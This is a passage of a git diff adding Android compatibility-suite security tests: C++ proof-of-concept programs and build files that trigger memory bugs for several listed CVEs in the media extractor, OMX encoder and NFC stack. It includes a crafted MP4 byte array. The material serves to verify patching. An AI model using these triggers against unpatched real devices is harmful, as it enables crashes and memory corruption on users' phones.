+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2015-6616",
+
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+    srcs: [
+        "poc.cpp",
+    ],
+
+    include_dirs: [
+        "frameworks/av/media/libdatasource/include",
+        "frameworks/av/media/libstagefright/include",
+        "cts/hostsidetests/securitybulletin/securityPatch/includes",
+    ],
+
+    shared_libs: [
+        "libstagefright",
+        "libutils",
+        "libmedia",
+        "libdatasource",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp
new file mode 100644
index 0000000..8d175cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp
@@ -0,0 +1,105 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <dlfcn.h>
+#include <sys/types.h>
+#include <media/DataSource.h>
+#include <datasource/FileSource.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <android/IMediaExtractor.h>
+#include <media/stagefright/DataSourceBase.h>
+#include <media/stagefright/MetaData.h>
+#include "../includes/common.h"
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
+
+void * operator new(size_t size) {
+    if (size > 64 * 1024 * 1024) {
+        exit (EXIT_VULNERABLE);
+    }
+    return malloc(size);
+}
+
+using namespace android;
+
+int main(int argc, char **argv) {
+    (void) argc;
+    (void) argv;
+#if _64_BIT
+    GetExtractorDef getDef = nullptr;
+    if (argc < 2) {
+        return EXIT_FAILURE;
+    }
+
+    void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+    if (!libHandle) {
+        libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+        if (!libHandle) {
+            return EXIT_FAILURE;
+        }
+    }
+
+    getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+    if (!getDef) {
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    sp < DataSource > dataSource = new FileSource(argv[1]);
+    if (dataSource == nullptr) {
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    void *meta = nullptr;
+    void* creator = nullptr;
+    FreeMetaFunc freeMeta = nullptr;
+    float confidence;
+    if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+        creator = (void*) getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+                                              &meta, &freeMeta);
+    } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+        creator = (void*) getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+                                              &meta, &freeMeta);
+    }
+    if (!creator) {
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    CMediaExtractor *ret = ((CreatorFunc) creator)(dataSource->wrap(), meta);
+    if (ret == nullptr) {
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    if (meta != nullptr && freeMeta != nullptr) {
+        freeMeta(meta);
+    }
+
+    MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
+            new MediaExtractorCUnwrapper(ret);
+    MediaTrack* source = mediaExtractorCUnwrapper->getTrack(0);
+    if (source == nullptr) {
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    source->start();
+
+    dlclose(libHandle);
+#endif /* _64_BIT */
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/Android.bp
new file mode 100644
index 0000000..ad70e63
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+cc_test {
+    name: "CVE-2017-0684",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_omxutils",
+    ],
+    shared_libs: [
+        "libstagefright",
+        "libbinder",
+        "libmedia_omx",
+        "libutils",
+        "liblog",
+        "libui",
+        "libstagefright_foundation",
+        "libcutils",
+        "libhidlbase",
+        "libhidlmemory",
+        "android.hidl.allocator@1.0",
+        "android.hardware.media.omx@1.0",
+    ],
+    include_dirs: [
+        "frameworks/native/include/media/openmax",
+        "frameworks/av/media/libstagefright",
+        "frameworks/native/include/media/hardware",
+    ],
+    compile_multilib: "32",
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/poc.cpp
new file mode 100644
index 0000000..9b76c7b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/poc.cpp
@@ -0,0 +1,139 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/omxUtils.h"
+
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex,
+                        Vector<Buffer> *buffers) {
+    buffers->clear();
+    OMX_PARAM_PORTDEFINITIONTYPE def;
+    int err = omxUtilsGetParameter(portIndex, &def);
+    omxExitOnError(err);
+    for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+        Buffer buffer;
+        buffer.mFlags = 0;
+        bool success;
+        auto transStatus = mAllocator->allocate(def.nBufferSize,
+                                                [&success, &buffer](
+                                                        bool s,
+                                                        hidl_memory const& m) {
+                                                    success = s;
+                                                    buffer.mHidlMemory = m;
+                                                });
+        omxExitOnError(!transStatus.isOk());
+        omxExitOnError(!success);
+        omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
+        buffers->push(buffer);
+    }
+    return OK;
+}
+
+int main() {
+
+    /* Initialize OMX for the specified codec                            */
+    status_t ret = omxUtilsInit((char *) "OMX.google.h264.encoder");
+    omxExitOnError(ret);
+    /* Get OMX input port parameters                                     */
+    OMX_PARAM_PORTDEFINITIONTYPE *params =
+            (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
+                    sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+    int ipBufferCount = params->nBufferCountActual;
+    /* Set port mode */
+    omxUtilsSetPortMode(OMX_UTILS_IP_PORT, IOMX::kPortModeDynamicANWBuffer);
+    /* Allocate input buffers and graphic buffer                         */
+    sp<GraphicBuffer> graphicbuffer = new GraphicBuffer(
+            params->format.video.nFrameWidth, params->format.video.nFrameHeight,
+            HAL_PIXEL_FORMAT_RGBX_8888,
+            android::GraphicBuffer::USAGE_HW_VIDEO_ENCODER, "me");
+    int i;
+    Vector<Buffer> inputBuffers;
+    Vector<Buffer> outputBuffers;
+    /* Register input buffers with OMX component                         */
+    allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
+    /* Get OMX output port parameters                                    */
+    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+    int opBufferSize = params->nBufferSize;
+    int opBufferCount = params->nBufferCountActual;
+    allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
+    /* Do OMX State chage to Idle                                        */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    /* Do OMX State chage to Executing                                   */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+    /* Empty input buffers and fill output buffers                       */
+    OMXBuffer omxIpBuf(graphicbuffer);
+    omxUtilsEmptyBuffer(inputBuffers[0].mID, omxIpBuf, 0, 0, -1);
+    OMXBuffer omxOpBuf(0, opBufferSize);
+    omxUtilsFillBuffer(outputBuffers[0].mID, omxOpBuf, -1);
+    /* Do OMX State chage to Idle                                        */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    /* Do OMX State chage to Loaded                                      */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+    /* Free input and output buffers                                     */
+    for (i = 0; i < ipBufferCount; i++) {
+        omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
+    }
+    for (i = 0; i < opBufferCount; i++) {
+        omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
+    }
+    /*********************************************************************/
+    /* Following code exposes vulnerability                              */
+    /*********************************************************************/
+    Vector<Buffer> newInputBuffers;
+    Vector<Buffer> newOutputBuffers;
+    /* Get OMX input port parameters, change settings and set output port*/
+    /* port parameters                                                   */
+    memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+    omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+    params->nBufferSize = 38016;
+    params->format.video.nFrameWidth = 2000;
+    params->format.video.nFrameHeight = 2000;
+    omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+    /* Allocated input buffers and register with OMX component           */
+    allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &newInputBuffers);
+    /* Allocated output buffers and register with OMX component          */
+    allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &newOutputBuffers);
+    /* Do OMX State chage to Idle                                        */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    /* Do OMX State chage to Executing                                   */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+    /* Empty input buffers and fill output buffers                       */
+    OMXBuffer newOmxIpBuf(graphicbuffer);
+    omxUtilsEmptyBuffer(newInputBuffers[0].mID, newOmxIpBuf, 0, 0, -1);
+    OMXBuffer newOmxOpBuf(0, opBufferSize);
+    omxUtilsFillBuffer(newOutputBuffers[0].mID, newOmxOpBuf, -1);
+    /* Do OMX State change to Idle                                         */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+    /* Do OMX State change to Loaded                                       */
+    omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+    /* Free input and output buffers                                       */
+    for (i = 0; i < ipBufferCount; i++) {
+        omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, newInputBuffers[i].mID);
+    }
+    for (i = 0; i < opBufferCount; i++) {
+        omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, newOutputBuffers[i].mID);
+    }
+    /* Free OMX resources                                                */
+    omxUtilsFreeNode();
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.bp
new file mode 100644
index 0000000..32959f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2017-0726",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils_track",
+    ],
+    include_dirs: [
+        "frameworks/av/media/libmedia/include",
+    ],
+    shared_libs: [
+        "libdatasource",
+        "libstagefright",
+        "libstagefright_foundation",
+        "libutils",
+        "liblog",
+    ],
+    cflags: [
+        "-DCHECK_MEMORY_LEAK",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp
new file mode 100644
index 0000000..ea6935f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp
@@ -0,0 +1,143 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "stdlib.h"
+
+#include "../includes/memutils_track.h"
+#include <android/IMediaExtractor.h>
+#include <datasource/DataSourceFactory.h>
+#include <dlfcn.h>
+#include <media/DataSource.h>
+#include <media/IMediaHTTPService.h>
+#include <media/stagefright/DataSourceBase.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <media/stagefright/MetaData.h>
+
+unsigned char mp4_data[] = {
+    0x00, 0x00, 0x00, 0x1C, 0x66, 0x74, 0x79, 0x70, 0x6D, 0x70, 0x34, 0x32,
+    0x00, 0x00, 0x00, 0x00, 0x6D, 0x70, 0x34, 0x32, 0x64, 0x62, 0x79, 0x31,
+    0x69, 0x73, 0x6F, 0x6D, 0x00, 0x00, 0x00, 0x74, 0x6D, 0x6F, 0x6F, 0x76,
+    0x00, 0x00, 0x00, 0x6C, 0x75, 0x64, 0x74, 0x61, 0x00, 0x00, 0x00, 0x64,
+    0x6D, 0x65, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58,
+    0x69, 0x6C, 0x73, 0x74, 0x00, 0x00, 0x00, 0x50, 0x2D, 0x2D, 0x2D, 0x2D,
+    0x00, 0x00, 0x00, 0x1C, 0x6D, 0x65, 0x61, 0x6E, 0x00, 0x00, 0x00, 0x00,
+    0x63, 0x6F, 0x6D, 0x2E, 0x61, 0x70, 0x70, 0x6C, 0x65, 0x2E, 0x69, 0x54,
+    0x75, 0x6E, 0x65, 0x73, 0x00, 0x00, 0x00, 0x14, 0x6E, 0x61, 0x6D, 0x65,
+    0x00, 0x00, 0x00, 0x00, 0x69, 0x54, 0x75, 0x6E, 0x53, 0x4D, 0x50, 0x42,
+    0x00, 0x08, 0x00, 0x18, 0x64, 0x61, 0x74, 0x61, 0x33, 0x32, 0x20, 0x34,
+    0x20, 0x33, 0x20, 0x32, 0x33, 0x32, 0x20, 0x34, 0x20, 0x33, 0x20, 0x32};
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmp4extractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmp4extractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
+#define LIBNAME_APEX                                                           \
+  "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
+#endif
+
+#define TOTAL_SIZE 524432
+#define DATA_SIZE 144
+#define TRACK_SIZE (TOTAL_SIZE - DATA_SIZE + 16 + 1)
+#define TMP_FILE "/data/local/tmp/temp_cve_2017_0726"
+
+char enable_selective_overload = ENABLE_NONE;
+using namespace android;
+
+bool is_tracking_required(size_t size) { return (size == TRACK_SIZE); }
+
+int main() {
+  GetExtractorDef getDef = nullptr;
+  FILE *fp = fopen(TMP_FILE, "wb");
+  if (!fp) {
+    return EXIT_FAILURE;
+  }
+
+  char zero_array[TOTAL_SIZE - DATA_SIZE];
+  memset(zero_array, 0, (TOTAL_SIZE - DATA_SIZE) * sizeof(char));
+
+  /* Write mp4 stream */
+  fwrite(mp4_data, 1, DATA_SIZE, fp);
+
+  /* Append 0's to create custom PoC */
+  fwrite(zero_array, 1, (TOTAL_SIZE - DATA_SIZE), fp);
+  fclose(fp);
+
+  void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+  if (!libHandle) {
+    libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+    if (!libHandle) {
+      remove(TMP_FILE);
+      return EXIT_FAILURE;
+    }
+  }
+
+  getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+  if (!getDef) {
+    dlclose(libHandle);
+    remove(TMP_FILE);
+    return EXIT_FAILURE;
+  }
+
+  sp<DataSource> dataSource =
+      DataSourceFactory::getInstance()->CreateFromURI(NULL, TMP_FILE);
+  if (dataSource == nullptr) {
+    dlclose(libHandle);
+    remove(TMP_FILE);
+    return EXIT_FAILURE;
+  }
+
+  void *meta = nullptr;
+  void *creator = nullptr;
+  FreeMetaFunc freeMeta = nullptr;
+  float confidence;
+  if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+    creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+                                          &meta, &freeMeta);
+  } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+    creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+                                          &meta, &freeMeta);
+  }
+  if (!creator) {
+    dlclose(libHandle);
+    remove(TMP_FILE);
+    return EXIT_FAILURE;
+  }
+
+  CMediaExtractor *ret = ((CreatorFunc)creator)(dataSource->wrap(), meta);
+  if (ret == nullptr) {
+    dlclose(libHandle);
+    remove(TMP_FILE);
+    return EXIT_FAILURE;
+  }
+
+  if (meta != nullptr && freeMeta != nullptr) {
+    freeMeta(meta);
+  }
+
+  sp<MetaData> metaData = new MetaData();
+  MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
+      new MediaExtractorCUnwrapper(ret);
+  enable_selective_overload = ENABLE_MALLOC_CHECK;
+  mediaExtractorCUnwrapper->getTrackMetaData(*metaData.get(), 0, 1);
+  enable_selective_overload = ENABLE_NONE;
+
+  remove(TMP_FILE);
+  dlclose(libHandle);
+
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/Android.bp
new file mode 100644
index 0000000..1166510
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+cc_test {
+    name: "CVE_2019_2135",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include/",
+        "system/nfc/src/nfa/include/",
+        "system/nfc/src/gki/common/",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/ulinux/",
+        "packages/apps/Nfc/nci/jni/extns/pn54x/src/common/",
+        "packages/apps/Nfc/nci/jni/extns/pn54x/inc/",
+    ],
+    shared_libs: [
+        "libnfc_nci_jni",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/poc.cpp
new file mode 100644
index 0000000..582ddb8
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/poc.cpp
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <nfa_api.h>
+#include <nfc_api.h>
+#include <phNfcTypes.h>
+#include <phNxpExtns.h>
+
+static void nfaMockDMCallback(uint8_t, tNFA_DM_CBACK_DATA *) {}
+static void nfaMockCCallback(uint8_t, tNFA_CONN_EVT_DATA *) {}
+
+int main(void) {
+  if (EXTNS_Init(nfaMockDMCallback, nfaMockCCallback) != NFCSTATUS_SUCCESS) {
+    return EXIT_FAILURE;
+  }
+  const int32_t size = 16;
+  const int32_t offset = size - 1;
+  uint8_t *p_data = static_cast<uint8_t *>(malloc(size));
+  if (p_data == nullptr) {
+    return EXIT_FAILURE;
+  }
+  p_data[offset] = 0x60;
+  EXTNS_MfcTransceive(&p_data[offset], 1);
+  free(p_data);
+  EXTNS_Close();
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/Android.bp
new file mode 100644
index 0000000..d6adf3c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2020-0037",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+        "-DENABLE_SELECTIVE_OVERLOADING",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include/",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/common/",
+        "system/nfc/src/gki/ulinux/",
+        "system/nfc/src/nfa/include/",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/poc.cpp
new file mode 100644
index 0000000..766ee03
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0037/poc.cpp
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t *p_uid);
+
+bool kIsInitialized = false;
+
+// borrowed from rw_i93.cc
+enum {
+  RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated            */
+  RW_I93_STATE_IDLE,          /* waiting for upper layer API          */
+  RW_I93_STATE_BUSY,          /* waiting for response from tag        */
+
+  RW_I93_STATE_DETECT_NDEF,   /* performing NDEF detection precedure  */
+  RW_I93_STATE_READ_NDEF,     /* performing read NDEF procedure       */
+  RW_I93_STATE_UPDATE_NDEF,   /* performing update NDEF procedure     */
+  RW_I93_STATE_FORMAT,        /* performing format procedure          */
+  RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure   */
+
+  RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag             */
+};
+
+// borrowed from rw_i93.cc
+enum {
+  RW_I93_SUBSTATE_WAIT_UID,          /* waiting for response of inventory    */
+  RW_I93_SUBSTATE_WAIT_SYS_INFO,     /* waiting for response of get sys info */
+  RW_I93_SUBSTATE_WAIT_CC,           /* waiting for reading CC               */
+  RW_I93_SUBSTATE_SEARCH_NDEF_TLV,   /* searching NDEF TLV                   */
+  RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked      */
+
+  RW_I93_SUBSTATE_RESET_LEN,  /* set length to 0 to update NDEF TLV   */
+  RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV      */
+  RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV             */
+
+  RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+  RW_I93_SUBSTATE_CHECK_READ_ONLY,   /* check if any block is locked         */
+  RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+                                      */
+
+  RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only             */
+  RW_I93_SUBSTATE_LOCK_NDEF_TLV,  /* lock blocks of NDEF TLV              */
+  RW_I93_SUBSTATE_WAIT_LOCK_CC    /* lock block of CC                     */
+};
+
+static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void *ptr) = nullptr;
+
+void init(void) {
+  real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+  if (!real_GKI_getbuf) {
+    return;
+  }
+
+  real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+  if (!real_GKI_freebuf) {
+    return;
+  }
+
+  kIsInitialized = true;
+}
+
+void *GKI_getbuf(uint16_t size) {
+  if (!kIsInitialized) {
+    init();
+  }
+  return malloc(size);
+}
+
+void GKI_freebuf(void *ptr) {
+  if (!kIsInitialized) {
+    init();
+  }
+  free(ptr);
+}
+
+int main() {
+  tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;
+
+  GKI_init();
+  rw_init();
+
+  uint8_t p_uid = 1;
+  if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+    return EXIT_FAILURE;
+  }
+
+  tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+  nfc_cb.quick_timer_queue.p_first = (TIMER_LIST_ENT *)malloc(16);
+  tNFC_CONN_EVT event = NFC_DATA_CEVT;
+  p_i93->state = RW_I93_STATE_SET_READ_ONLY;
+  p_i93->sub_state = RW_I93_SUBSTATE_WAIT_CC;
+  p_i93->block_size = 255;
+
+  enable_selective_overload = ENABLE_ALL;
+  tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
+  if (!p_data) {
+    free(nfc_cb.quick_timer_queue.p_first);
+    return EXIT_FAILURE;
+  }
+
+  p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(NFC_HDR));
+  if (!(p_data->data.p_data)) {
+    free(p_data);
+    free(nfc_cb.quick_timer_queue.p_first);
+    return EXIT_FAILURE;
+  }
+  enable_selective_overload = ENABLE_NONE;
+
+  (p_data->data.p_data)->len = 10;
+  p_data->data.p_data->offset = 0;
+  p_data->status = NFC_STATUS_OK;
+
+  p_cb->p_cback(0, event, p_data);
+
+  free(p_data);
+  free(nfc_cb.quick_timer_queue.p_first);
